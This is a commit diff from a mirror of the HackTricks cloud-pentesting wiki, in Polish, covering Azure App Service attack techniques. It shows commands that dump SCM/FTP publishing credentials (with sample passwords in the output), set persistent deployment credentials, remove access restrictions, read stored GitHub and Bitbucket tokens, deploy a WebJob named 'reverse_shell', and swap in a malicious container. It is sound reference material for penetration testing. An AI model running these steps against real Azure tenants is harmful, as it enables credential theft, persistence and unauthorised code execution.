mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -5,27 +5,25 @@
|
||||
## Zainstaluj PowerShell w Linuxie
|
||||
|
||||
> [!TIP]
|
||||
> W Linuxie musisz zainstalować PowerShell Core:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
> sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
>
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # Zaktualizuj repozytoria
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # Zainstaluj i uruchom powershell
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
> # Az cli
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
> W Linuxie będziesz musiał zainstalować PowerShell Core:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
|
||||
# Ubuntu 20.04
|
||||
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
|
||||
# Update repos
|
||||
sudo apt-get update
|
||||
sudo add-apt-repository universe
|
||||
|
||||
# Install & start powershell
|
||||
sudo apt-get install -y powershell
|
||||
pwsh
|
||||
|
||||
# Az cli
|
||||
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
```
|
||||
## Zainstaluj PowerShell w MacOS
|
||||
|
||||
Instrukcje z [**dokumentacji**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
@@ -4,22 +4,22 @@
|
||||
|
||||
## App Services
|
||||
|
||||
Aby uzyskać więcej informacji na temat usług aplikacji Azure, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat usług Azure App, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
Te uprawnienia pozwalają na wywołanie następujących poleceń w celu uzyskania **SSH shell** wewnątrz aplikacji webowej
|
||||
Te uprawnienia pozwalają na uzyskanie **SSH shell** wewnątrz aplikacji webowej. Pozwalają również na **debugowanie** aplikacji.
|
||||
|
||||
- Opcja bezpośrednia:
|
||||
- **SSH w pojedynczej komendzie**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
- Utwórz tunel, a następnie połącz się z SSH:
|
||||
- **Utwórz tunel, a następnie połącz się z SSH**:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **Debugowanie aplikacji**:
|
||||
1. Zainstaluj rozszerzenie Azure w VScode.
|
||||
2. Zaloguj się w rozszerzeniu za pomocą konta Azure.
|
||||
3. Wypisz wszystkie usługi aplikacji w subskrypcji.
|
||||
4. Wybierz usługę aplikacji, którą chcesz debugować, kliknij prawym przyciskiem myszy i wybierz "Rozpocznij debugowanie".
|
||||
5. Jeśli aplikacja nie ma włączonego debugowania, rozszerzenie spróbuje je włączyć, ale Twoje konto musi mieć uprawnienia `Microsoft.Web/sites/config/write`, aby to zrobić.
|
||||
|
||||
### Uzyskiwanie poświadczeń SCM i włączanie uwierzytelniania podstawowego
|
||||
|
||||
Aby uzyskać poświadczenia SCM, możesz użyć następujących **komend i uprawnień**:
|
||||
|
||||
- Uprawnienie **`Microsoft.Web/sites/publishxml/action`** pozwala na wywołanie:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
Zauważ, że **nazwa użytkownika jest zawsze taka sama** (z wyjątkiem FTP, który dodaje nazwę aplikacji na początku), ale **hasło jest takie samo** dla wszystkich.
|
||||
|
||||
Ponadto, **adres URL SCM to `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- Uprawnienie **`Microsoft.Web/sites/config/list/action`** pozwala na wywołanie:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
Zauważ, że **poświadczenia są takie same** jak w poprzedniej komendzie.
|
||||
|
||||
- Inną opcją byłoby **ustawienie własnych poświadczeń** i ich użycie:
|
||||
```bash
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
```
|
||||
Następnie możesz użyć tych danych uwierzytelniających do **uzyskania dostępu do platform SCM i FTP**. To również świetny sposób na utrzymanie trwałości.
|
||||
|
||||
Pamiętaj, że aby uzyskać dostęp do platformy SCM z **sieci, musisz uzyskać dostęp do `<SCM-URL>/BasicAuth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że każdy użytkownik może skonfigurować swoje własne dane uwierzytelniające, wywołując poprzednie polecenie, ale jeśli użytkownik nie ma wystarczających uprawnień do uzyskania dostępu do SCM lub FTP, dane uwierzytelniające nie będą działać.
|
||||
|
||||
- Jeśli widzisz, że te dane uwierzytelniające są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowej autoryzacji SCM**, a do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
### Publikowanie kodu za pomocą poświadczeń SCM
|
||||
|
||||
Mając ważne poświadczenia SCM, możliwe jest **publikowanie kodu** do usługi App. Można to zrobić za pomocą następującego polecenia.
|
||||
|
||||
W tym przykładzie Pythona możesz pobrać repozytorium z https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, wprowadzić dowolne **zmiany**, a następnie **spakować je, uruchamiając: `zip -r app.zip .`**.
|
||||
|
||||
Następnie możesz **opublikować kod** za pomocą następującego polecenia:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | SCM credentials
|
||||
|
||||
Wspomniane uprawnienie Azure pozwala na wykonanie kilku interesujących działań, które można również wykonać za pomocą poświadczeń SCM:
|
||||
|
||||
- Odczyt logów **Webjobs**:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
```
|
||||
- Przeczytaj kod źródłowy **Webjobs**:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
- Utwórz **ciągły Webjob**:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
To uprawnienie pozwala na wylistowanie **connection strings** i **appsettings** usługi App, które mogą zawierać wrażliwe informacje, takie jak dane uwierzytelniające do bazy danych.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Te uprawnienia pozwalają na **przypisanie zarządzanej tożsamości** do usługi App, więc jeśli usługa App została wcześniej skompromitowana, to pozwoli to atakującemu na przypisanie nowych zarządzanych tożsamości do usługi App i **eskalację uprawnień** do nich.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich
|
||||
|
||||
Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Oto kilka przykładów poleceń do sprawdzenia tokenów:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Aktualizacja kodu aplikacji ze źródła
|
||||
|
||||
- Jeśli skonfigurowane źródło to dostawca zewnętrzny, taki jak Github, BitBucket lub Azure Repository, możesz **zaktualizować kod** usługi aplikacji, kompromitując kod źródłowy w repozytorium.
|
||||
- Jeśli aplikacja jest skonfigurowana za pomocą **zdalnego repozytorium git** (z nazwą użytkownika i hasłem), możliwe jest uzyskanie **adresu URL i podstawowych poświadczeń autoryzacyjnych** do klonowania i wprowadzania zmian za pomocą:
|
||||
- Używając uprawnienia **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Używając uprawnienia **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Jeśli aplikacja jest skonfigurowana do używania **lokalnego repozytorium git**, możliwe jest **sklonowanie repozytorium** i **wprowadzenie zmian** w nim:
|
||||
- Używając uprawnienia **`Microsoft.Web/sites/sourcecontrols/read`**: Możesz uzyskać adres URL repozytorium git za pomocą `az webapp deployment source show --name <app-name> --resource-group <res-group>`, ale będzie to ten sam adres URL SCM aplikacji z ścieżką `/<app-name>.git` (np. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- Aby uzyskać poświadczenia SCM, potrzebujesz uprawnienia:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Następnie uruchom `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Następnie uruchom `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że posiadanie uprawnienia `Microsoft.Web/sites/config/list/action` oraz poświadczeń SCM zawsze umożliwia wdrożenie do aplikacji webowej (nawet jeśli była skonfigurowana do używania dostawcy zewnętrznego), jak wspomniano w poprzedniej sekcji.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że posiadanie poniższych uprawnień również **umożliwia wykonanie dowolnego kontenera**, nawet jeśli aplikacja webowa była skonfigurowana inaczej.
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
To zestaw uprawnień, który pozwala na **modyfikację kontenera używanego** przez aplikację webową. Napastnik mógłby to wykorzystać do uruchomienia złośliwego kontenera w aplikacji webowej.
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,36 +2,87 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje o App Service
|
||||
## Podstawowe informacje o usłudze App Service
|
||||
|
||||
Azure App Services umożliwia deweloperom **tworzenie, wdrażanie i skalowanie aplikacji internetowych, zaplecza aplikacji mobilnych i interfejsów API w sposób bezproblemowy**. Obsługuje wiele języków programowania i integruje się z różnymi narzędziami i usługami Azure w celu zwiększenia funkcjonalności i zarządzania.
|
||||
|
||||
Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service
|
||||
Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service.
|
||||
|
||||
- Aplikacje w darmowych i współdzielonych warstwach działają na współdzielonych VM
|
||||
- Aplikacje w standardowych i premium warstwach działają na dedykowanych VM
|
||||
- Aplikacje w darmowych i współdzielonych planach działają na współdzielonych maszynach wirtualnych.
|
||||
- Aplikacje w standardowych i premium planach działają na dedykowanych maszynach wirtualnych.
|
||||
|
||||
> [!WARNING]
|
||||
> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **uzyskać podwyższone uprawnienia**.
|
||||
> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **eskalować uprawnienia do nich**.
|
||||
|
||||
### Aplikacje Azure Function
|
||||
Aplikacje mają kilka interesujących konfiguracji:
|
||||
|
||||
W zasadzie **aplikacje Azure Function są podzbiorem Azure App Service** w sieci, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje Function wymienione tutaj**.
|
||||
|
||||
W rzeczywistości niektóre z **funkcji związanych z bezpieczeństwem**, które wykorzystują usługi aplikacji (`webapp` w az cli), są **również używane przez aplikacje Function**.
|
||||
- **Always On**: Zapewnia, że aplikacja zawsze działa. Jeśli nie jest włączona, aplikacja przestanie działać po 20 minutach bezczynności i uruchomi się ponownie, gdy zostanie odebrane żądanie.
|
||||
- Jest to niezbędne, jeśli masz webjob, który musi działać nieprzerwanie, ponieważ webjob zatrzyma się, jeśli aplikacja przestanie działać.
|
||||
- **SSH**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może połączyć się z aplikacją za pomocą SSH.
|
||||
- **Debugowanie**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może debugować aplikację. Jednak jest to automatycznie wyłączane co 48 godzin.
|
||||
- **Aplikacja internetowa + Baza danych**: Konsola internetowa umożliwia utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis.
|
||||
- URL zawierający dane uwierzytelniające do bazy danych i Redis będzie przechowywany w **appsettings**.
|
||||
- **Kontener**: Możliwe jest wdrożenie kontenera do App Service, wskazując URL kontenera i dane uwierzytelniające do jego dostępu.
|
||||
|
||||
## Podstawowa autoryzacja
|
||||
|
||||
Podczas tworzenia aplikacji internetowej (a zazwyczaj funkcji Azure) można wskazać, czy chcesz, aby podstawowa autoryzacja była włączona. To zasadniczo **włącza SCM i FTP** dla aplikacji, dzięki czemu będzie możliwe wdrożenie aplikacji przy użyciu tych technologii.\
|
||||
Ponadto, aby się z nimi połączyć, Azure zapewnia **API, które pozwala uzyskać nazwę użytkownika, hasło i URL** do połączenia z serwerami SCM i FTP.
|
||||
Ponadto, aby się z nimi połączyć, Azure udostępnia **API, które pozwala uzyskać nazwę użytkownika, hasło i URL** do połączenia z serwerami SCM i FTP.
|
||||
|
||||
- Autoryzacja: az webapp auth show --name lol --resource-group lol_group
|
||||
Możliwe jest połączenie się z SCM za pomocą przeglądarki internetowej pod adresem `https://<SMC-URL>/BasicAuth` i sprawdzenie wszystkich plików i wdrożeń tam.
|
||||
|
||||
SSH
|
||||
### Kudu
|
||||
|
||||
Always On
|
||||
Kudu to **silnik wdrożeniowy i platforma zarządzania dla Azure App Service i Function Apps**, oferująca wdrożenia oparte na Gicie, zdalne debugowanie i możliwości zarządzania plikami dla aplikacji internetowych. Jest dostępny przez URL SCM aplikacji internetowej.
|
||||
|
||||
Należy pamiętać, że wersje Kudu używane przez App Services i Function Apps są różne, przy czym wersja aplikacji funkcji jest znacznie bardziej ograniczona.
|
||||
|
||||
Niektóre interesujące punkty końcowe, które można znaleźć w Kudu, to:
|
||||
- `/DebugConsole`: Konsola, która pozwala na wykonywanie poleceń w środowisku, w którym działa Kudu.
|
||||
- Należy pamiętać, że to środowisko **nie ma dostępu** do usługi metadanych w celu uzyskania tokenów.
|
||||
- `/webssh/host`: Klient SSH oparty na sieci, który pozwala na połączenie się wewnątrz kontenera, w którym działa aplikacja.
|
||||
- To środowisko **ma dostęp do usługi metadanych**, aby uzyskać tokeny z przypisanych tożsamości zarządzanych.
|
||||
- `/Env`: Uzyskaj informacje o systemie, ustawieniach aplikacji, zmiennych środowiskowych, ciągach połączeń i nagłówkach HTTP.
|
||||
- `/wwwroot/`: Katalog główny aplikacji internetowej. Możesz pobrać wszystkie pliki stąd.
|
||||
|
||||
## Źródła
|
||||
|
||||
App Services domyślnie pozwala na przesyłanie kodu jako pliku zip, ale również umożliwia połączenie z usługą zewnętrzną i pobranie kodu stamtąd.
|
||||
|
||||
- Obecnie obsługiwane źródła zewnętrzne to **Github** i **Bitbucket**.
|
||||
- Możesz uzyskać tokeny uwierzytelniające, uruchamiając `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure domyślnie skonfiguruje **Github Action**, aby wdrożyć kod do App Service za każdym razem, gdy kod zostanie zaktualizowany.
|
||||
- Możliwe jest również wskazanie **zdalnego repozytorium git** (z nazwą użytkownika i hasłem), aby pobrać kod stamtąd.
|
||||
- Możesz uzyskać dane uwierzytelniające do zdalnego repozytorium, uruchamiając `az webapp deployment source show --name <app-name> --resource-group <res-group>` lub `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Możliwe jest również użycie **Azure Repository**.
|
||||
- Możliwe jest również skonfigurowanie **lokalnego repozytorium git**.
|
||||
- Możesz uzyskać URL repozytorium git za pomocą `az webapp deployment source show --name <app-name> --resource-group <res-group>` i będzie to URL SCM aplikacji.
|
||||
- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
||||
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs to **zadania w tle, które działają w środowisku Azure App Service**. Umożliwiają deweloperom wykonywanie skryptów lub programów obok ich aplikacji internetowych, co ułatwia obsługę operacji asynchronicznych lub czasochłonnych, takich jak przetwarzanie plików, obsługa danych czy zadania zaplanowane.
|
||||
Istnieją 2 typy web jobs:
|
||||
- **Ciągłe**: Działa w nieskończoność w pętli i jest uruchamiane natychmiast po utworzeniu. Jest idealne do zadań, które wymagają stałego przetwarzania. Jednak jeśli aplikacja przestanie działać, ponieważ Always On jest wyłączone i nie otrzymała żądania w ciągu ostatnich 20 minut, web job również się zatrzyma.
|
||||
- **Wyzwalane**: Działa na żądanie lub na podstawie harmonogramu. Najlepiej nadaje się do okresowych zadań, takich jak aktualizacje danych wsadowych lub rutyny konserwacyjne.
|
||||
|
||||
Webjobs są bardzo interesujące z perspektywy atakującego, ponieważ mogą być używane do **wykonywania kodu** w środowisku i **eskalacji uprawnień** do przypisanych tożsamości zarządzanych.
|
||||
|
||||
Ponadto zawsze warto sprawdzić **logi** generowane przez Webjobs, ponieważ mogą zawierać **wrażliwe informacje**.
|
||||
|
||||
### Sloty
|
||||
|
||||
Sloty Azure App Service są używane do **wdrażania różnych wersji aplikacji** w tej samej usłudze App Service. Umożliwia to deweloperom testowanie nowych funkcji lub zmian w oddzielnym środowisku przed wdrożeniem ich do środowiska produkcyjnego.
|
||||
|
||||
Ponadto możliwe jest skierowanie **procenta ruchu** do konkretnego slotu, co jest przydatne do **testów A/B** oraz do celów backdoor.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
Zasadniczo **Azure Function apps to podzbiór Azure App Service** w sieci, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje funkcji wymienione tutaj**.
|
||||
|
||||
W rzeczywistości niektóre z **funkcji związanych z bezpieczeństwem**, które wykorzystują usługi aplikacji (`webapp` w az cli), są **również używane przez aplikacje funkcji**.
|
||||
|
||||
Debugging
|
||||
|
||||
### Enumeracja
|
||||
|
||||
@@ -40,9 +91,10 @@ Debugging
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
@@ -51,18 +103,24 @@ az webapp show --name <name> --resource-group <res-group>
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
@@ -75,61 +133,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
# Restore snapshot
|
||||
